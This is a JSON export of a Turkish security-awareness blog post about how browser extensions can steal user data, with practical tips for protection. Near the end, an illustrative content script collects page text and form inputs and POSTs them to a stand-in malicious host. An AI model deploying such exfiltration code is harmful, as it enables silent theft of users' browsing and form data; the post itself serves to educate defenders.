{"id":303,"date":"2025-12-06T15:14:40","date_gmt":"2025-12-06T15:14:40","guid":{"rendered":"https:\/\/www.aliburaksan.com\/blog\/?p=303"},"modified":"2025-12-06T15:17:30","modified_gmt":"2025-12-06T15:17:30","slug":"tarayici-uzantilari-verilerinizi-caliyor-olabilir-mi-2","status":"publish","type":"post","link":"https:\/\/www.aliburaksan.com\/blog\/tarayici-uzantilari-verilerinizi-caliyor-olabilir-mi-2\/","title":{"rendered":"Taray\u0131c\u0131 Uzant\u0131lar\u0131 Verilerinizi \u00c7al\u0131yor Olabilir mi?"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">Taray\u0131c\u0131 Uzant\u0131lar\u0131: Gizli Bir Tehdit mi, Yoksa Vazge\u00e7ilmez Bir Yard\u0131mc\u0131 m\u0131? Bir IT Uzman\u0131n\u0131n G\u00f6z\u00fcnden Ger\u00e7ekler<\/h1>\n\n\n\n<p>Merhaba arkada\u015flar!<\/p>\n\n\n\n<p>Bug\u00fcn sizinle bir\u00e7ok kullan\u0131c\u0131n\u0131n fark\u0131nda bile olmad\u0131\u011f\u0131 bir konudan bahsetmek istiyorum: Taray\u0131c\u0131 uzant\u0131lar\u0131. Hepimizin g\u00fcnl\u00fck ya\u015fant\u0131s\u0131nda b\u00fcy\u00fck kolayl\u0131klar sa\u011flayan bu k\u00fc\u00e7\u00fck yaz\u0131l\u0131mlar, ayn\u0131 zamanda siber g\u00fcvenli\u011fimiz i\u00e7in gizli bir kap\u0131 aralayabilir mi? Bu konuyu hem teknik hem de samimi bir dille ele alal\u0131m.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Uzant\u0131lar Neden Bu Kadar Pop\u00fcler ve G\u00fc\u00e7l\u00fc?<\/h2>\n\n\n\n<p>\u00d6ncelikle, taray\u0131c\u0131 uzant\u0131lar\u0131n\u0131n ne kadar hayat kurtar\u0131c\u0131 olabildi\u011fini inkar edemeyiz. Chrome Web Ma\u011fazas\u0131&#8217;nda veya Firefox Eklentileri sayfas\u0131nda binlerce uzant\u0131 mevcut. Reklam engelleyiciler (AdBlock, uBlock Origin), parola y\u00f6neticileri (LastPass, Bitwarden), not alma ara\u00e7lar\u0131 (Evernote Web Clipper), dil \u00e7evirmenleri veya geli\u015ftirici ara\u00e7lar\u0131 gibi uzant\u0131lar sayesinde internet deneyimimiz katbekat zenginle\u015fiyor.<\/p>\n\n\n\n<p>Bu uzant\u0131lar, taray\u0131c\u0131n\u0131zla derinlemesine etkile\u015fim kurma yetene\u011fine sahip. Yani bir web sayfas\u0131n\u0131 a\u00e7t\u0131\u011f\u0131n\u0131zda sadece g\u00f6rd\u00fc\u011f\u00fcn\u00fczle s\u0131n\u0131rl\u0131 kalm\u0131yor, sayfan\u0131n i\u00e7eri\u011fini de\u011fi\u015ftirebiliyor, arka planda veri g\u00f6nderebiliyor veya farkl\u0131 web sitelerindeki etkile\u015fimlerinizi izleyebiliyorlar. \u0130\u015fte tam da bu noktada, \u201cb\u00fcy\u00fck g\u00fc\u00e7, b\u00fcy\u00fck sorumluluk getirir\u201d felsefesi devreye giriyor.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Peki, Verilerimizi Nas\u0131l \u00c7al\u0131yorlar?<\/h2>\n\n\n\n<p>Bir uzant\u0131n\u0131n verilerinize eri\u015fme ve potansiyel olarak \u00e7alma yollar\u0131 olduk\u00e7a \u00e7e\u015fitli ve bazen sinsi olabilir. Gelin, bu mekanizmalara yak\u0131ndan bakal\u0131m:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0130zinler (Permissions): G\u00fcvenli\u011fin Kilit Noktas\u0131 Bir uzant\u0131y\u0131 y\u00fcklerken kar\u015f\u0131n\u0131za \u00e7\u0131kan izin isteklerini \u00e7o\u011fumuz h\u0131zl\u0131ca &#8220;Kabul Et&#8221; butonuna basarak ge\u00e7iyoruz, de\u011fil mi? &#8220;T\u00fcm web sitelerindeki verilerinizi okuyun ve de\u011fi\u015ftirin&#8221; veya &#8220;Gezinti ge\u00e7mi\u015finize eri\u015fin&#8221; gibi ifadeler asl\u0131nda ne kadar tehlikeli olabilir? Bu izinler, uzant\u0131ya sadece ziyaret etti\u011finiz sitelerdeki metinleri okuma de\u011fil, ayn\u0131 zamanda:<ul><li>Kullan\u0131c\u0131 adlar\u0131n\u0131z\u0131 ve \u015fifrelerinizi (giri\u015f yapt\u0131\u011f\u0131n\u0131zda)<\/li><li>Girdi\u011finiz kredi kart\u0131 bilgilerini (al\u0131\u015fveri\u015f yaparken)<\/li><li>E-postalar\u0131n\u0131z\u0131 veya mesajlar\u0131n\u0131z\u0131 (web tabanl\u0131 uygulamalarda)<\/li><li>Hatta panonuzdaki (clipboard) verileri<\/li><\/ul>okuma, toplama ve k\u00f6t\u00fc niyetli bir sunucuya g\u00f6nderme yetkisi verir. E\u011fer bir uzant\u0131 gere\u011finden fazla izin istiyorsa, alarmlar \u00e7almal\u0131d\u0131r.<\/li>\n\n\n\n<li>K\u00f6t\u00fc Niyetli Kod Enjeksiyonu Baz\u0131 k\u00f6t\u00fc niyetli uzant\u0131lar, ziyaret etti\u011finiz web sayfalar\u0131na kendi JavaScript kodlar\u0131n\u0131 enjekte edebilir. Bu kodlar, bankac\u0131l\u0131k sitenizde, sosyal medya hesaplar\u0131n\u0131zda veya e-posta servisinizde hassas verileri yakalayabilir. Enjekte edilen kod, sanki sitenin kendi par\u00e7as\u0131ym\u0131\u015f gibi \u00e7al\u0131\u015f\u0131r ve siz \u00e7o\u011fu zaman hi\u00e7bir fark hissetmezsiniz.<\/li>\n\n\n\n<li>Gizli G\u00fcncellemeler ve Geli\u015ftirici De\u011fi\u015fiklikleri Bug\u00fcn masum g\u00f6r\u00fcnen bir uzant\u0131, yar\u0131n yay\u0131nlanan bir g\u00fcncelleme ile k\u00f6t\u00fc niyetli hale gelebilir. Geli\u015ftiriciler, uzant\u0131lar\u0131n\u0131n kodunu g\u00fcncelleyebilir ve bu g\u00fcncellemeler yeni izinler isteyebilir veya mevcut izinleri k\u00f6t\u00fcye kullanmaya ba\u015flayabilir. Daha da k\u00f6t\u00fcs\u00fc, bazen pop\u00fcler bir uzant\u0131, k\u00f6t\u00fc niyetli akt\u00f6rler taraf\u0131ndan sat\u0131n al\u0131nabilir ve ard\u0131ndan k\u00f6t\u00fc ama\u00e7l\u0131 bir g\u00fcncelleme yay\u0131nlanabilir.<\/li>\n\n\n\n<li>Sahte Uzant\u0131lar (Typosquatting) Pop\u00fcler bir uzant\u0131n\u0131n ad\u0131n\u0131n benzerini kullanarak veya logosunu kopyalayarak sahte uzant\u0131lar olu\u015fturulabilir. \u00d6rne\u011fin &#8220;AdBlock&#8221; yerine &#8220;AdBlok&#8221; gibi k\u00fc\u00e7\u00fck bir yaz\u0131m hatas\u0131yla sizi kand\u0131r\u0131p, ger\u00e7ek uzant\u0131 oldu\u011funu d\u00fc\u015f\u00fcnd\u00fc\u011f\u00fcn\u00fcz k\u00f6t\u00fc niyetli bir yaz\u0131l\u0131m\u0131 y\u00fcklemenizi sa\u011flayabilirler.<\/li>\n\n\n\n<li>Tedarik Zinciri Sald\u0131r\u0131lar\u0131 Bu biraz daha teknik ama \u00f6nemli. Bazen uzant\u0131n\u0131n geli\u015ftiricisinin kulland\u0131\u011f\u0131 bir k\u00fct\u00fcphaneye veya araca s\u0131z\u0131l\u0131r ve bu yolla k\u00f6t\u00fc ama\u00e7l\u0131 kod, uzant\u0131ya bula\u015f\u0131r. Bu, uzant\u0131 geli\u015ftiricisinin bile fark\u0131nda olmadan k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m da\u011f\u0131tmas\u0131na neden olabilir.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Hangi Veriler Risk Alt\u0131nda?<\/h2>\n\n\n\n<p>Uzant\u0131lar\u0131n eri\u015febilece\u011fi potansiyel veri t\u00fcrleri d\u00fc\u015f\u00fcnd\u00fc\u011f\u00fcm\u00fczden \u00e7ok daha geni\u015f olabilir:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Gezinti Ge\u00e7mi\u015finiz:<\/strong> Hangi siteleri ziyaret etti\u011finiz, ne kadar s\u00fcre kald\u0131\u011f\u0131n\u0131z.<\/li>\n\n\n\n<li><strong>Giri\u015f Bilgileriniz:<\/strong> E-posta, sosyal medya, bankac\u0131l\u0131k ve di\u011fer web sitelerindeki kullan\u0131c\u0131 adlar\u0131 ve \u015fifreleriniz.<\/li>\n\n\n\n<li><strong>Finansal Bilgiler:<\/strong> Kredi kart\u0131 numaralar\u0131, son kullanma tarihleri, CVV kodlar\u0131 (\u00f6zellikle bu bilgiler bir forma girilirken).<\/li>\n\n\n\n<li><strong>Ki\u015fisel Tan\u0131mlay\u0131c\u0131 Bilgiler (PII):<\/strong> Ad\u0131n\u0131z, soyad\u0131n\u0131z, adresiniz, telefon numaran\u0131z, TC kimlik numaran\u0131z gibi bilgiler.<\/li>\n\n\n\n<li><strong>Panonuzdaki Bilgiler:<\/strong> Kopyalad\u0131\u011f\u0131n\u0131z her \u015fey (\u015fifreler, metinler, g\u00f6rseller).<\/li>\n\n\n\n<li><strong>Tu\u015f Vuru\u015flar\u0131 (Keylogging):<\/strong> Bir uzant\u0131, klavyenizdeki tu\u015f vuru\u015flar\u0131n\u0131 kaydederek girdi\u011finiz her \u015feyi ele ge\u00e7irebilir.<\/li>\n<\/ul>\n\n\n\n<p>\u00c7o\u011fu zaman fark\u0131na bile varmazs\u0131n\u0131z, \u00e7\u00fcnk\u00fc k\u00f6t\u00fc niyetli uzant\u0131lar arka planda sessizce \u00e7al\u0131\u015f\u0131r. Bu durum, kullan\u0131c\u0131lar\u0131n dijital okuryazarl\u0131\u011f\u0131n\u0131n ne kadar \u00f6nemli oldu\u011funun bir g\u00f6stergesi. G\u00fcvenlik duvarlar\u0131 ve antivir\u00fcs programlar\u0131 sizi d\u0131\u015far\u0131dan gelen tehditlere kar\u015f\u0131 korurken, uzant\u0131lar sizin kendi elinizle a\u00e7t\u0131\u011f\u0131n\u0131z kap\u0131lar olabilir.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Peki, Kendimizi Nas\u0131l Koruyaca\u011f\u0131z? Pratik \u0130pu\u00e7lar\u0131!<\/h2>\n\n\n\n<p>Korkuya kap\u0131lmaya gerek yok! Bilin\u00e7li ad\u0131mlar atarak bu riskleri en aza indirebiliriz. \u0130\u015fte pratik ipu\u00e7lar\u0131:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Resmi Ma\u011fazalar\u0131 Kullan\u0131n:<\/strong> Uzant\u0131lar\u0131 her zaman taray\u0131c\u0131n\u0131z\u0131n resmi ma\u011fazalar\u0131ndan (Chrome Web Ma\u011fazas\u0131, Firefox Eklentileri, Microsoft Edge Eklentileri vb.) indirin. \u00dc\u00e7\u00fcnc\u00fc taraf sitelerden indirilen .CRX veya .XPI dosyalar\u0131ndan uzak durun.<\/li>\n\n\n\n<li><strong>\u0130zinleri Dikkatlice Okuyun:<\/strong> Bir uzant\u0131y\u0131 y\u00fcklerken istedi\u011fi izinleri asla ge\u00e7i\u015ftirmeyin. &#8220;T\u00fcm sitelerde verileri oku ve de\u011fi\u015ftir&#8221; gibi genel izinler isteyen bir uzant\u0131, e\u011fer i\u015flevine g\u00f6re bu izne ger\u00e7ekten ihtiyac\u0131 yoksa (\u00f6rne\u011fin bir parola y\u00f6neticisi gibi), \u015f\u00fcpheyle yakla\u015f\u0131n. Bir hesap makinesi uzant\u0131s\u0131n\u0131n gezinti ge\u00e7mi\u015finize neden ihtiyac\u0131 olsun ki?<\/li>\n\n\n\n<li><strong>Yorumlar\u0131 ve Puanlar\u0131 Kontrol Edin:<\/strong> Uzant\u0131n\u0131n yorumlar\u0131n\u0131 okuyun, puanlamas\u0131na ve indirilme say\u0131s\u0131na bak\u0131n. \u00c7ok az yorumu olan veya \u015f\u00fcpheli g\u00f6r\u00fcnen bir uzant\u0131dan uzak durun. Negatif yorumlar veya garip dilbilgisi hatalar\u0131 i\u00e7eren yorumlar bir uyar\u0131 i\u015fareti olabilir.<\/li>\n\n\n\n<li><strong>&#8220;Ger\u00e7ekten \u0130htiyac\u0131m Var m\u0131?&#8221; Diye Sorun:<\/strong> Y\u00fckledi\u011finiz her uzant\u0131, potansiyel bir risk demektir. Sadece ger\u00e7ekten ihtiyac\u0131n\u0131z olan ve s\u0131k kulland\u0131\u011f\u0131n\u0131z uzant\u0131lar\u0131 tutun. &#8220;Deneme ama\u00e7l\u0131&#8221; veya &#8220;belki bir g\u00fcn i\u015fime yarar&#8221; diye y\u00fckledi\u011finiz uzant\u0131lar\u0131 hemen kald\u0131r\u0131n.<\/li>\n\n\n\n<li><strong>D\u00fczenli Olarak G\u00f6zden Ge\u00e7irin:<\/strong> Taray\u0131c\u0131n\u0131zdaki uzant\u0131lar b\u00f6l\u00fcm\u00fcne periyodik olarak (ayda bir gibi) g\u00f6z at\u0131n. Tan\u0131mad\u0131\u011f\u0131n\u0131z veya art\u0131k kullanmad\u0131\u011f\u0131n\u0131z uzant\u0131lar\u0131 kald\u0131r\u0131n.<\/li>\n\n\n\n<li><strong>Taray\u0131c\u0131 ve \u0130\u015fletim Sistemi G\u00fcncel Kals\u0131n:<\/strong> Taray\u0131c\u0131n\u0131z\u0131n ve i\u015fletim sisteminizin her zaman en g\u00fcncel s\u00fcr\u00fcmde oldu\u011fundan emin olun. G\u00fcvenlik g\u00fcncellemeleri, bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131 kapat\u0131r.<\/li>\n\n\n\n<li><strong>\u015e\u00fcpheci Olun:<\/strong> Size e-posta veya pop-up ile gelen &#8220;g\u00fcvenlik&#8221; veya &#8220;verimlilik&#8221; uzant\u0131s\u0131 tekliflerine kar\u015f\u0131 dikkatli olun. Do\u011frudan taray\u0131c\u0131 ma\u011fazas\u0131na gidip aratarak emin olun.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Kod \u00d6rne\u011fi (Hayali Ama Ger\u00e7ek\u00e7i!)<\/h3>\n\n\n\n<p>\u015eimdi bir IT uzman\u0131 olarak, bir uzant\u0131n\u0131n arka planda ne kadar kolay veri \u00e7alabilece\u011fine dair basit bir \u00f6rnek g\u00f6sterelim. Bu sadece bir konsepttir ve ger\u00e7ek bir sald\u0131r\u0131n\u0131n \u00e7ok daha karma\u015f\u0131k olabilece\u011fini unutmay\u0131n.<\/p>\n\n\n\n<p><strong>`manifest.json` (Uzant\u0131n\u0131n \u0130zin \u0130stekleri):<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\n{\n  \"manifest_version\": 3,\n  \"name\": \"Benim S\u00fcper Uzant\u0131m\",\n  \"version\": \"1.0\",\n  \"description\": \"Gezinti deneyiminizi iyile\u015ftirir!\",\n  \"permissions\": &#91;\n    \"activeTab\",\n    \"storage\",\n    \"scripting\"\n  ],\n  \"host_permissions\": &#91;\n    \"&lt;all_urls&gt;\"  \/\/ T\u00fcm web sitelerine eri\u015fim izni! BU TEHL\u0130KEL\u0130!\n  ],\n  \"background\": {\n    \"service_worker\": \"background.js\"\n  },\n  \"content_scripts\": &#91;\n    {\n      \"matches\": &#91;\"&lt;all_urls&gt;\"],\n      \"js\": &#91;\"content_script.js\"]\n    }\n  ]\n}\n    <\/code><\/pre>\n\n\n\n<p>Yukar\u0131daki `host_permissions` alt\u0131ndaki `&lt;all_urls&gt;` ibaresi, uzant\u0131ya ziyaret etti\u011finiz HER WEB S\u0130TES\u0130NE tam eri\u015fim izni verir. \u0130\u015fte bu y\u00fczden izinleri dikkatlice okumal\u0131s\u0131n\u0131z!<\/p>\n\n\n\n<p><strong>`content_script.js` (Sayfadan Veri \u00c7ekme \u00d6rne\u011fi):<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\n\/\/ Bu script, kullan\u0131c\u0131n\u0131n ziyaret etti\u011fi her sayfada \u00e7al\u0131\u015f\u0131r.\n\n\/\/ \u00d6rnek: T\u00fcm metin i\u00e7eri\u011fini yakala ve bir sunucuya g\u00f6nder\nlet pageContent = document.body.innerText;\n\n\/\/ \u00d6rnek: T\u00fcm form giri\u015flerini (input) yakala\nlet inputFields = document.querySelectorAll('input');\nlet formData = {};\ninputFields.forEach(input =&gt; {\n    if (input.type !== 'password' &amp;&amp; input.value) { \/\/ \u015eifre alanlar\u0131n\u0131 g\u00f6z ard\u0131 edebiliriz veya daha sinsi olabilir\n        formData&#91;input.name || input.id || input.type] = input.value;\n    }\n});\n\n\/\/ \u00d6rnek: Bir POST iste\u011fi ile toplanan verileri k\u00f6t\u00fc niyetli bir sunucuya g\u00f6nder\nfetch('https:\/\/k\u00f6t\u00fcniyetlisunucu.com\/api\/steal_data', {\n    method: 'POST',\n    headers: {\n        'Content-Type': 'application\/json'\n    },\n    body: JSON.stringify({\n        url: window.location.href,\n        content: pageContent.substring(0, 1000), \/\/ T\u00fcm i\u00e7eri\u011fi g\u00f6ndermeyip ilk 1000 karakteri gibi\n        form_data: formData,\n        timestamp: new Date().toISOString()\n    })\n})\n.then(response =&gt; console.log('Veri g\u00f6nderildi'))\n.catch(error =&gt; console.error('Veri g\u00f6nderme hatas\u0131:', error));\n\n\/\/ Daha geli\u015fmi\u015f senaryolarda, belirli bir siteye \u00f6zel (\u00f6rn. banka sitesi)\n\/\/ form alanlar\u0131 veya cookie'ler de hedeflenebilir.\n    <\/code><\/pre>\n\n\n\n<p>Bu basit kod par\u00e7as\u0131 bile, bir uzant\u0131n\u0131n nas\u0131l sessizce web sitelerindeki i\u00e7eri\u011fi ve girdi\u011finiz verileri toplay\u0131p harici bir sunucuya g\u00f6nderebilece\u011fini g\u00f6steriyor. Ve siz bunun fark\u0131nda bile olmayabilirsiniz.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Son S\u00f6z<\/h2>\n\n\n\n<p>Taray\u0131c\u0131 uzant\u0131lar\u0131, dijital ya\u015fam\u0131m\u0131z\u0131 zenginle\u015ftiren harika ara\u00e7lar olabilir, ancak ayn\u0131 zamanda bilin\u00e7siz kullan\u0131ld\u0131\u011f\u0131nda ciddi bir g\u00fcvenlik riski ta\u015f\u0131rlar. T\u0131pk\u0131 ger\u00e7ek hayatta tan\u0131mad\u0131\u011f\u0131n\u0131z ki\u015filere evinize giri\u015f izni vermeyece\u011finiz gibi, dijital d\u00fcnyada da uzant\u0131lara k\u00f6r\u00fc k\u00f6r\u00fcne g\u00fcvenmeyin.<\/p>\n\n\n\n<p>Unutmay\u0131n, bilgi sahibi olmak ve bilin\u00e7li se\u00e7imler yapmak, bu dijital d\u00fcnyada en b\u00fcy\u00fck kalkan\u0131m\u0131zd\u0131r. Daima \u015f\u00fcpheci olun, izinleri okuyun ve sadece g\u00fcvendi\u011finiz, ger\u00e7ekten ihtiyac\u0131n\u0131z olan uzant\u0131lar\u0131 kullan\u0131n.<\/p>\n\n\n\n<p>G\u00fcvenli g\u00fcnler dilerim!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Taray\u0131c\u0131 Uzant\u0131lar\u0131: Gizli Bir Tehdit mi, Yoksa Vazge\u00e7ilmez Bir Yard\u0131mc\u0131 m\u0131? Bir IT Uzman\u0131n\u0131n G\u00f6z\u00fcnden Ger\u00e7ekler<\/p>\n","protected":false},"author":1,"featured_media":270,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36],"tags":[],"class_list":["post-303","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-siber-guvenlik-istihbarat"],"blocksy_meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Taray\u0131c\u0131 Uzant\u0131lar\u0131 Verilerinizi \u00c7al\u0131yor Olabilir mi? - Ali Burak \u015ean<\/title>\n<meta name=\"description\" content=\"Taray\u0131c\u0131 Uzant\u0131lar\u0131: Gizli Bir Tehdit mi, Yoksa Vazge\u00e7ilmez Bir Yard\u0131mc\u0131 m\u0131? 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